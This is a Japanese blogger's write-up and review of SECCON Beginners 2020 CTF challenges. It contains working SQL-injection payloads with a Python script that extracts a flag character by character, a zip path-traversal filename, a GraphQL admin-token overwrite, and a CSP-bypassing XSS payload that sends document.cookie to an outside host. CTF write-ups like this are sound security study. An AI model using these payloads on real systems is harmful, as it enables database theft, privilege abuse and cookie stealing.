備忘録なるもの

seccon beginners[2020] writeup &復習

こんにちは!グレープ粗茶です。
今回は、secconbeginners2020に参加してきたので、そのwriteupと復習を行いたいと思います! Web問題中心にやってきます。

spy[web]

この問題では、ページのロードにかかった時間を表示する機能が存在する。 それを利用して、if文に入った場合には時間が掛かるので、それをユーザー名の総当たりで確かめる。 26回確かめるだけでよかったので、競技中は手打ちで頑張った。

emoemoencode[misc]

🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽

このような絵文字が与えられる。 ぱっと見でctf4b{○▽✖}を何かしらで変換した形であることを想定した。ここでunicodeの表で検索してみることにした。
f:id:grapesoda204:20200527003328p:plain
試しにasciiと比べてみてみると16進数で cが合致していることに気づいた。
f:id:grapesoda204:20200527003419p:plain
正直これに気づけたのは、tweetstore解いた直後に見たからってのがある。。

R&B[crypto]

下の二つが与えられる。 FLAG

BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==

problem.py

from os import getenv


FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")


def rot13(s):
    # snipped


def base64(s):
    # snipped


for t in FORMAT:
    if t == "R":
        FLAG = "R" + rot13(FLAG)
    if t == "B":
        FLAG = "B" + base64(FLAG)

print(FLAG)

どうやらFORMATというファイルに RかBが記載されており、その形式分だけrot13及びbase64エンコードしているらしい。 これを先頭の文字と合わせてデコードしてあげれば、FLAGが取得できる。

tweetstore[web]

問題のソースコードの中から確認できることは

  • ユーザ名がフラグということ
  • LIMIT句からの方がインジェクションし易そうなこと

ためしに LIMIT (select 1) というようにしてみると、要素を一つだけ獲得できる。

package main

import (
    "context"
    "fmt"
    "log"
    "os"
    "strings"
    "time"
 
    "database/sql"
    "html/template"
    "net/http"

    "github.com/gorilla/handlers"
    "github.com/gorilla/mux"

    _"github.com/lib/pq"
)

var tmplPath = "./templates/"

var db *sql.DB

type Tweets struct {
    Url        string
    Text       string
    Tweeted_at time.Time
}

func handler_index(w http.ResponseWriter, r *http.Request) {

    tmpl, err := template.ParseFiles(tmplPath + "index.html")
    if err != nil {
        log.Fatal(err)
    }

    var sql = "select url, text, tweeted_at from tweets"

    search, ok := r.URL.Query()["search"]
    if ok {
        sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
    }

    sql += " order by tweeted_at desc"

    limit, ok := r.URL.Query()["limit"]
    if ok && (limit[0] != "") {
        sql += " limit " + strings.Split(limit[0], ";")[0]
    }

    var data []Tweets

    ctx, cancel := context.WithTimeout(context.Background(), 1*time.Second)
    defer cancel()

    rows, err := db.QueryContext(ctx, sql)
    if err != nil{
        http.Error(w, http.StatusText(500), 500)
        return
    }

    for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            http.Error(w, http.StatusText(500), 500)
            return
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

    tmpl.Execute(w, data)
}

func initialize() {
    var err error

    dbname := "ctf"
    dbuser := os.Getenv("FLAG")
    dbpass := "password"

    connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
    db, err = sql.Open("postgres", connInfo)
    if err != nil {
        log.Fatal(err)
    }
}

func main() {

    initialize()

    r := mux.NewRouter()
    r.HandleFunc("/", handler_index).Methods("GET")

    http.Handle("/", r)
    http.ListenAndServe(":8080", handlers.LoggingHandler(os.Stdout, http.DefaultServeMux))
}

先ほどの

LIMIT (select 1)のようにすれば、一つだけデータベースから値を出力してくる。これと同様に値を取得して、LIMITで出てきたデータの数でフラグの決定を行うことにした。

具体的にはLIMIT ascii(substr((select current_user),1,1))のように行う。

  1. current_userの文字列の一番目から一番目までの文字を取得
  2. asciiに変換

また取得できるツイート数も200コあるので、asciiはカバーできることを再度確認。

他の方のwriteupを見ていると、if文をここに仕込むことでデータ数が少ない状況であっても対応できるような解法を取っていた。

コード作成

まず画面の右側に一覧表示として何個表示できているのかを表示している項目がある

f:id:grapesoda204:20200527004458p:plain

webスクレイピングの要素を探していると微かな優しさを感じるhiddenの設定が発見できた。

めんどくさい文字列操作が要らない\(^_^)/ f:id:grapesoda204:20200527004515p:plain

以下 取得する番目をループで行うコードを示す。

import requests, bs4

url ="https://tweetstore.quals.beginners.seccon.jp/"
for i in range(1,33):

    payload="ascii(substr((select current_user),{},1))".format(i)
    param={'search':'',
        'limit':payload}

    get_url_info = requests.get(url,params=param)
    
    bs4Obj = bs4.BeautifulSoup(get_url_info.text, 'lxml')
    
    js = bs4Obj.find('input',id='nTweets')
    flag_str =js['value']
    flag_num= int(flag_str)
    
    print(chr(flag_num),end='')

フラグの文字が少しずつ分かるの好きです(笑)

[PostgreSQL] 接続中のユーザを取得する&他 : してログ - LANDHERE

ascii

他の方のwriteupをみて

どうやらsearchのクエリ部分からも特殊文字のスラッシュをエスケープすることで、SQL文側に入ってる\に\を指すことによって、'を特殊文字として有効化させることができるらしいですね。

それでインジェクションが刺せるようです。

その時のペイロードは下記となります。めっさ簡単やんけ(゚Д゚;)

\'; select current_user, current_user, now()  ; --

実はなんとなく一番最初にこの方法で試そうとしたんですが、うまく行かずに辞めてしまいました。その時に試したのは、下記のようなインジェクションを試すものです。

\' and 1=0; select 1,1,1;--

そして、このやり方でやってしまうとhttpstatusが500として出力されてしまいます。 実はこのエラーは、単なる構文エラーではなくコーデイングにより定められたものとなっています。

f:id:grapesoda204:20200527004542p:plain

f:id:grapesoda204:20200527004555p:plain

この解法を進めるにはソースコードをさらに調べる必要がありました😞
ソースコードに下記のような記述があります。どうやらデータベースから取得する情報の型を指定して、それ以外だとエラーと捉えるもののようです。

for rows.Next() {
        var text string
        var url string
        var tweeted_at time.Time

        err := rows.Scan(&url, &text, &tweeted_at)
        if err != nil {
            http.Error(w, http.StatusText(500), 500)
            return
        }
        data = append(data, Tweets{url, text, tweeted_at})
    }

https://golang.shop/post/go-databasesql-04-retrieving-ja/

これに対応させてインジェクションが可能かどうかを確かめるのは、下のようなペイロードが最適かと思われます。ここでは、二つのstring型を出力する際にクオーテーションを利用してしまうと、また問題が起きかねないのでCHR関数を利用しています。

\' and 1=0; select chr(99),chr(99),now();--

今までインジェクションを行う際に気を付けることといえば、列の名前程度と捉えていましたが、型に注視する必要があることに気が付けてよかったと思います。(ソースコードを上から下までちゃんと見ましょう。。)特に日付型は厄介ですね。。

postgresqlデータ型

最後に

seccon beginnersでは、最後にdiscordサーバで好評が行われました。この時にtweetstoreの想定解はlimit句からのインジェクションであることが明かされましたが、違う回答をしていた人が多い感じでした。なのでsearchパラメータからのインジェクションが多かったのかと思います。

これ以降は解けなかった問題&見てない問題

unzip

解法として、セッション変数とゲットパラメータ両方からフラグを参照するようなペイロードを割り当てる必要があるということは確認できた。
しかしながら、ファイルの命名方法に躓いてしまった。コマンドプロンプトから/を含むようなファイルを命名できないことを確認したがその方向からやろうとし続けていた。

解法

zip内のファイル名に../../../../flag.txtとつければよいので、zipコマンドを実行するディレクトリから相対パスで該当する場所にflag.txtを置いたうえでzip file ../../../../flag.txtと入れれば作成できる。
またバイナリエディタを用いてzip内にあるファイル名を書き換えるという方法がある。

profiler[web]

下の記事を参考にして進めていく。

szarny.hatenablog.com

全体としての流れは下のようになる。
1. まず最初に利用できるクエリを知る
2. adminのtokenを取得する
3. (1)で明らかになったクエリを利用して、自分のtokenをadminのものに上書きする
4. GET FLAGボタンを押す!
まず最初に playgoundというソフトを利用して、使用できるクエリを調べる。

f:id:grapesoda204:20200527010350p:plain

f:id:grapesoda204:20200527010408p:plain

取得と上書きでどんな構文?クエリが使えるかどうかはエンドポイントに接続したらすぐわかる仕様になっていた。ナニコレ使いやすそう(笑)  

引き続き、playgound行う。 利用できるクエリに倣ってadminのtokenを取得するパラメータを設定する

    query {
      someone(uid:"admin"){
        name
        profile
        token
      }
    }
すると下のように帰ってくる
    {
      "data": {
        "someone": {
          "name": "admin",
          "profile": "Hello, I'm admin.",
          "token": "743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b"
        }
      }
    }

これで、adminのtokenを獲得することができた。
次にセッションIDを利用して通信する環境を用意する。 今回はブラウザでできるだけ行いたかったのでプロキシツールを利用する。 - firefox - burpsuite

そしてapiとの通信をプロキシツールで下記のように書き換える。これは自分のtokenをadminと同値にするというぺいーロードとなる。

    updateToken(token:\"743fb96c5d6b65df30c25cefdab6758d7e1291a80434e0cdbb157363e1216a5b\")

これによって自分のIDに対してadminと同じtokenを割り当てることできる。

そしてブラウザにてGETFLAGをクリックすればクリアできる。(tokenを書き換えたアカウントのセッションでgetflagのクエリを送ればよい)

Somen[web]

作問者の講評を基に復習していきます。 この問題は、woker.jsにもあるようにcookieを取得することが目的のXSS問題のようです。

// set cookie
await page.setCookie({
    name: 'flag',
    value: process.env.FLAG,
    domain: process.env.DOMAIN,
    expires: Date.now() / 1000 + 10,
});

また、この問題ではCSPをバイパスすることとが課題の一つとなっています。自分は、このCSPに関する知識が甘かったので一度復習したいと思います。

CSPとは?

XSSなどのインジェクションを防ぐためのブラウザのセキュリティ機構。 未対応のブラウザではCSPは無視され同一オリジンポリシーを適用する。
また開発などで、CSPを有効にしたい場合には、ミドルウェアの設定でcontent-security-policyのHTTPヘッダに記述する。 またメタ要素を用いてCSPを設定することも可能。

ソースの指定

それぞれのタグ等で利用するソース先を制限することができる。 設定していないものについては、default-srcで設定したものが適用される仕様 contents-security-policy/mozilla

設定内容

制限する値は下のようなものとなる。

解法

問題の解決課題が二つある
1. 数字と文字以外入力するとエラーを起こさせる/security.jsがある
2. CSPのbypass

1. security.jsの読み込み回避

<>などの特殊文字を入力するためには、このjavascriptファイルの読み込みを回避する必要がある。

このファイルはあくまで絶対パス(http://fdkasldfj/secruity.js)ではなく、相対パスで設定されている。ここでタグを利用してhtml内のURIを指定することによってサーバーのsecurity.jsではなく、自分のサーバにある空のsecurity.jsを読み込ませることができる。(適当な値をいれてとりあえずエラーにさせられればここではよい。)

また、baseタグについては下記参考

: 文書の基底 URL 要素

2. CSP回避

今回のcspは下記となる

Content-Security-Policy: default-src 'none'; script-src 'nonce-${nonce}' 'strict-dynamic' 'sha256-nus+LGcHkEgf6BITG7CKrSgUIb1qMexlF8e5Iwx1L2A='"

default-src 'none'となっているので、他の要素で設定されているもの以外は利用できない。

そしてscript-src では nonce と 'strict-dynamic'が設定されている。

サーバー側で作られたスクリプトタグしか動かないようになっている。しかしながら、'strict-dynamic'設定により、ここから生成されたスクリプトタグは信頼されたものと判定され動作する。

またユーザからの入力タグはサニタイズされることなく、タイトルに埋め込まれる。

これらのことから、タイトル部分に</title>を含ませてタイトルタグ終了させつつ、script#messageを注入することによって、innnerHTMLで入れる攻撃文の入力先をpタグからscriptタグに変更することができる。

location.href="https://test123.free.beeceptor.com?"+document.cookie;//</title><script id="message"></script><base href="http://example.com">

usernameという入力の出力先が二つあるため、少し複雑になってますね。。

最後に

CSPに関してはとても勉強になりました。なんだか知らない事が多いので、知識の抜け穴補完のためにmozillaのdocsを全体的に眺めてみたいかと思います! あとブログのさぼり癖強いですねー。。定期的に上げていきたいです👍